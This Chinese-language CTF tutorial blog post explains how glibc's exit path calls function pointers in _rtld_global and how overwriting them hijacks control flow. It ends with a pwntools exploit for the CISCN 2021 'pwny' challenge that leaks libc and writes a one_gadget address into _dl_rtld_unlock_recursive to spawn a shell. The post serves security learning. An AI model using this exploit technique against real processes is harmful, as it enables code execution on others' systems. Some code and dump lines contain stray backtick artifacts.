抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

BlackBird的博客

这世界上所有的不利状况,都是当事者能力不足导致的

PWN学习—exit_hook—悄无声息地偷家

概述

linux下进程最后的最后的最后都是调用exit函数来结束进程,换而言之,所有程序都会调用exit函数。所以针对exit函数的攻击的适用范围也就更加广泛,更加重要。只要能掌控exit函数,那么便掌控了整个进程。

原理

在程序执行exit函数的时候hook掉它,hook成我们想要的函数,我们便可以控制程序的执行。

先了解一下什么是hook技术:函数指针,可以修改。

那么如何实现exit_hook?

先看一下exit函数源码(/glibc2.23/stdlib/exit.c):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
/* Copyright (C) 1991-2016 Free Software Foundation, Inc.
This file is part of the GNU C Library.

The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.

The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.

You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<http://www.gnu.org/licenses/>. */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sysdep.h>
#include "exit.h"

#include "set-hooks.h"
DEFINE_HOOK (__libc_atexit, (void))


/* Call all functions registered with `atexit' and `on_exit',
in the reverse of the order in which they were registered
perform stdio cleanup, and terminate program execution with STATUS. */
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit)
{
/* First, call the TLS destructors. */
#ifndef SHARED
if (&__call_tls_dtors != NULL)
#endif
__call_tls_dtors ();

/* We do it this way to handle recursive calls to exit () made by
the functions registered with `atexit' and `on_exit'. We call
everyone on the list and use the status value in the last
exit (). */
while (*listp != NULL) {
struct exit_function_list *cur = *listp;

while (cur->idx > 0){
const struct exit_function *const f =
&cur->fns[--cur->idx];
switch (f->flavor){
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);

case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
#i`fd`ef PTR_DEMANGLE
PTR_DEMANGLE (onfct);
#endif
onfct (status, f->func.on.arg);
break;
case ef_at:
atfct = f->func.at;
#i`fd`ef PTR_DEMANGLE
PTR_DEMANGLE (atfct);
#endif
atfct ();
break;
case ef_cxa:
cxafct = f->func.cxa.fn;
#i`fd`ef PTR_DEMANGLE
PTR_DEMANGLE (cxafct);
#endif
cxafct (f->func.cxa.arg, status);
break;
}
}

*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
}

if (run_list_atexit)
RUN_HOOK (__libc_atexit, ());
_exit (status);
}

void
exit (int status){
__run_exit_handlers (status, &__exit_funcs, true);
}
libc_hidden_def (exit)

先看void exit函数,调用__run_exit_handlers函数,__run_exit_handlers的定义就在上面。然后我们动态调试下,看他具体实现过程。

我们调试看看exit在执行的时候调用那些函数:

image-20210517232019480

对应上了源码,exit函数调用__run_exit_handlers那一段,然后进入这个函数我们先查看它进行的所有call

image-20210517232959154

image-20210517233027056

image-20210517233437699

image-20210517233519274

image-20210517233541112

exit函数先调用__run_exit_handler,然后在__run_exit_handler函数里面调用了 __call_tls_dtors_dl_fini_IO_cleanup_exit函数,最后是在_exit函数里面利用系统调用结束程序。

下来逐个分析它调用的函数:

  • __call_tls_dtors

image-20210517234214952

查了查资料,这个函数与TLS(Thread Local Stroage)相关,准确说,它是TLS的一个析构函数。

  • _dl_fini

这个函数定义在/glibc2.23/elf/dl_fini.c

……


发现代码好长……还是动态调调吧~

这个函数中先后调用:rtld_lock_default_lock_recursive_dl_sort_maprtld_lock_default_unlock_recursive__do_global_dtors_aux_fini

image-20210517235621557

image-20210517235726706

这里用gdb不是很好看,我们用pwntools+IDA进行调试是很明显可以看出这里的rtld_lock_default_lock_recursivertld_lock_default_unlock_recursive是利用函数指针实现的:

image-20210519165932035

image-20210519165957009

image-20210519170015048

网上又查了查才知道存储rtld_lock_default_lock_recursivertld_lock_default_unlock_recursive的地方是一个函数指针结构体,可以在pwndbg中用p指令查看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
pwndbg> p _rtld_global
$1 = {
_dl_ns = {{
_ns_loaded = 0x7ffff7ffe170,
_ns_nloaded = 4,
_ns_main_searchlist = 0x7ffff7ffe428,
_ns_global_scope_alloc = 0,
_ns_unique_sym_table = {
lock = {
mutex = {
__data = {
__lock = 0,
__count = 0,
__owner = 0,
__nusers = 0,
__kind = 1,
__spins = 0,
__elision = 0,
__list = {
__prev = 0x0,
__next = 0x0
}
},
__size = '\000' <repeats 16 times>, "\001", '\000' <repeats 22 times>,
__align = 0
}
},
entries = 0x0,
size = 0,
n_elements = 0,
free = 0x0
},
_ns_debug = {
r_version = 0,
r_map = 0x0,
r_brk = 0,
r_state = RT_CONSISTENT,
r_ldbase = 0
}
}, {
_ns_loaded = 0x0,
_ns_nloaded = 0,
_ns_main_searchlist = 0x0,
_ns_global_scope_alloc = 0,
_ns_unique_sym_table = {
lock = {
mutex = {
__data = {
__lock = 0,
__count = 0,
__owner = 0,
__nusers = 0,
__kind = 0,
__spins = 0,
__elision = 0,
__list = {
__prev = 0x0,
__next = 0x0
}
},
__size = '\000' <repeats 39 times>,
__align = 0
}
},
entries = 0x0,
size = 0,
n_elements = 0,
free = 0x0
},
_ns_debug = {
r_version = 0,
r_map = 0x0,
r_brk = 0,
r_state = RT_CONSISTENT,
r_ldbase = 0
}
} <repeats 15 times>},
_dl_nns = 1,
_dl_load_lock = {
mutex = {
__data = {
__lock = 0,
__count = 0,
__owner = 0,
__nusers = 0,
__kind = 1,
__spins = 0,
__elision = 0,
__list = {
__prev = 0x0,
__next = 0x0
}
},
__size = '\000' <repeats 16 times>, "\001", '\000' <repeats 22 times>,
__align = 0
}
},
_dl_load_write_lock = {
mutex = {
__data = {
__lock = 0,
__count = 0,
__owner = 0,
__nusers = 0,
__kind = 1,
__spins = 0,
__elision = 0,
__list = {
__prev = 0x0,
__next = 0x0
}
},
__size = '\000' <repeats 16 times>, "\001", '\000' <repeats 22 times>,
__align = 0
}
},
_dl_load_adds = 4,
_dl_initfirst = 0x0,
_dl_cpuclock_offset = 21967126905434,
_dl_profile_map = 0x0,
_dl_num_relocations = 88,
_dl_num_cache_relocations = 3,
_dl_all_dirs = 0x7ffff7ffec90,
_dl_rtld_map = {
l_addr = 140737351856128,
l_name = 0x400238 "/lib64/ld-linux-x86-64.so.2",
l_ld = 0x7ffff7ffce68,
l_next = 0x0,
l_prev = 0x7ffff7`fd`9000,
l_real = 0x7ffff7f`fd`9f0 <_rtld_global+2448>,
l_ns = 0,
l_libname = 0x7ffff7ffe030 <_dl_rtld_libname>,
l_info = {0x0, 0x0, 0x7ffff7ffcee8, 0x7ffff7ffced8, 0x7ffff7ffce78, 0x7ffff7ffce98, 0x7ffff7ffcea8, 0x7ffff7ffcf18, 0x7ffff7ffcf28, 0x7ffff7ffcf38, 0x7ffff7ffceb8, 0x7ffff7ffcec8, 0x0, 0x0, 0x7ffff7ffce68, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7ffff7ffcef8, 0x0, 0x0, 0x7ffff7ffcf08, 0x0 <repeats 12 times>, 0x7ffff7ffcf58, 0x7ffff7ffcf48, 0x0, 0x0, 0x7ffff7ffcf78, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7ffff7ffcf68, 0x0 <repeats 25 times>, 0x7ffff7ffce88},
l_phdr = 0x7ffff7dd3040,
l_entry = 0,
l_phnum = 7,
l_ldnum = 0,
l_searchlist = {
r_list = 0x0,
r_nlist = 0
},
l_symbolic_searchlist = {
r_list = 0x0,
r_nlist = 0
},
l_loader = 0x0,
l_versions = 0x7ffff7`fd`98d0,
l_nversions = 6,
l_nbuckets = 17,
l_gnu_bitmask_idxbits = 3,
l_gnu_shift = 8,
l_gnu_bitmask = 0x7ffff7dd32d8,
{
l_gnu_buckets = 0x7ffff7dd32f8,
l_chain = 0x7ffff7dd32f8
},
{
l_gnu_chain_zero = 0x7ffff7dd3338,
l_buckets = 0x7ffff7dd3338
},
l_direct_opencount = 0,
l_type = lt_library,
l_relocated = 1,
l_init_called = 1,
l_global = 1,
l_reserved = 0,
l_phdr_allocated = 0,
l_soname_added = 0,
l_faked = 0,
l_need_tls_init = 0,
l_auditing = 0,
l_audit_any_plt = 0,
l_removed = 0,
l_contiguous = 0,
l_symbolic_in_local_scope = 0,
l_free_initfini = 0,
l_rpath_dirs = {
dirs = 0x0,
malloced = 0
},
l_reloc_result = 0x0,
l_versyms = 0x7ffff7dd3914,
l_origin = 0x0,
l_map_start = 140737351856128,
l_map_end = 140737354129776,
l_text_end = 140737351992656,
l_scope_mem = {0x0, 0x0, 0x0, 0x0},
l_scope_max = 0,
l_scope = 0x0,
l_local_scope = {0x0, 0x0},
l_file_id = {
dev = 0,
ino = 0
},
l_runpath_dirs = {
dirs = 0x0,
malloced = 0
},
l_initfini = 0x0,
l_reldeps = 0x0,
l_reldepsmax = 0,
l_used = 1,
l_feature_1 = 0,
l_flags_1 = 0,
l_flags = 0,
l_idx = 0,
l_mach = {
plt = 0,
gotplt = 0,
tlsdesc_table = 0x0
},
l_lookup_cache = {
sym = 0x7ffff7dd3480,
type_class = 1,
value = 0x7ffff7`fd`9000,
ret = 0x7ffff79e70e8
},
l_tls_initimage = 0x0,
l_tls_initimage_size = 0,
l_tls_blocksize = 0,
l_tls_align = 0,
l_tls_firstbyte_offset = 0,
l_tls_offset = 0,
l_tls_modid = 0,
l_tls_dtor_count = 0,
l_relro_addr = 2266752,
l_relro_size = 2432,
l_serial = 0,
l_audit = 0x7ffff7f`fd`e60 <_rtld_global+3584>
},
audit_data = {{
cookie = 0,
bindflags = 0
} <repeats 16 times>},
_dl_rtld_lock_recursive = 0x7ffff7dd40e0 <rtld_lock_default_lock_recursive>,
_dl_rtld_unlock_recursive = 0x7ffff7dd40f0 <rtld_lock_default_unlock_recursive>,
_dl_make_stack_executable_hook = 0x7ffff7de6ea0 <__GI__dl_make_stack_executable>,
_dl_stack_flags = 6,
_dl_tls_dtv_gaps = false,
_dl_tls_max_dtv_idx = 1,
_dl_tls_dtv_slotinfo_list = 0x7ffff7`fd`9960,
_dl_tls_static_nelem = 1,
_dl_tls_static_size = 4160,
_dl_tls_static_used = 144,
_dl_tls_static_align = 64,
_dl_initial_dtv = 0x7ffff7`fd`ae10,
_dl_tls_generation = 1,
_dl_init_static_tls = 0x7ffff7ddf780 <_dl_nothread_init_static_tls>,
_dl_wait_lookup_done = 0x0,
_dl_scope_free_list = 0x0
}

我们只要修改这个指针就可以实现exit函数hook了(这么长一个结构体,是不是都能hook……我瞎想的……

现在知道了原理,我们要hook的话还需要知道rtld_lock_default_lock_recursivertld_lock_default_unlock_recursive的偏移:

libc2.23下偏移为0×5f0040,两个hook的偏移为3848和3850

libc2.27下偏移为0×61b060,两个hook的偏移为3840和3848

  • _IO_cleanup

    这个看名称很明显是清理缓冲区,把缓冲区中的东西该输入输入该输出输出(感觉主要是把缓冲区没有输出的东西输出到stdout……具体这里做了什么工作以及功能不是很大清楚,只是之前在做题的时候遇到一个问题:

    get_started_3dsctf_2016:

    在进行栈溢出后,一般rop链最后的返回地址都是胡写的……一般都是0xdeadbeaf,然而这样子构造的话,flag是没有输出的。但是如果最后的返回地址写exit函数的话,就有输出,原理就是exit函数里面调用了\_IO\_cleanup函数,清理了缓冲区

example ciscn 2021pwny

就用最新的题来说吧……

主函数:

image-20210520141741337

初始化函数:

image-20210520141221364

这里将fd设为random并且存到bss上,然后就是两个功能函数:

image-20210520141925177

image-20210520141805749

再看一下write_self函数在bss段上的储存:image-20210520142616632

这里数据储存没有进行边界检查,所以我们可以通过控制Index进行任意地址读和任意地址写……但是由于fd的缘故,我们无法控制输入。现在只要能把输入修改成stdin也就是加bss端上存储的fd修改为0,那么我们便可以拿到shell……

我们如果在read的时候让程序用随机数修改bss段上的fd,那么基本上肯定的是程序无法修改后的fd中读取到信息。把如果我们这个时候强行读数据呢?我们写个例子看一下:

image-20210520151347815

由此我们可以知道read函数在从未定义的fd读取数据的时候会读到寂寞然后返回-1,并不会crash

那我们从write_self函数很明显就能发现如果我们修改了fd,然后再用修改后的fd读数据修改fd,那么此时的v2就没有变化还是0直接赋值给bss段上的fdfd就会变为0。

此时我们才算实现了任意地址任意写。

我们发现主函数的结束使用exit函数实现的……它是不是在暗示我们什么

所以我们的思路就是先修改fd为0,再任意地址读获取libc_base,然后再任意地址写来实现hook exit函数。

还有一点需要注意的就是在实现任意地址读的时候需要算偏移,注意以下代码:

image-20210520175121487

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import*

p=process(['./pwny'],env={"LD_PRELOAD":"./libc-2.27.so"})
context.log_level='debug'

def write(index,second):
p.recvuntil('Your choice: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(index))
if second != 'null':
p.sendline(second)
def read(index):
p.recvuntil('Your choice: ')
p.sendline('1')
p.recvuntil('Index: ')
p.sendline(index)
p.recvuntil('Result: ')

#`fd`_urandom=0
write(256,'null')
write(256,'null') #两遍读修改`fd`为0

read(p64(0xFFFFFFFFFFFFFFFA))
libc_base=int(p.recv(12),16)-0x3EBA00
print('libc_base',hex(libc_base))
read(p64(0xFFFFFFFFFFFFFFF5))
base=int(p.recv(12),16)-0x202008
print('base',hex(base))

dl_rtld_unlock_recursive=libc_base+0x61BF68
index=(dl_rtld_unlock_recursive-(base+0x202060))//8
one_gadget=libc_base+0x10a428
write(index,p64(one_gadget))

gdb.attach(p)
p.interactive()

评论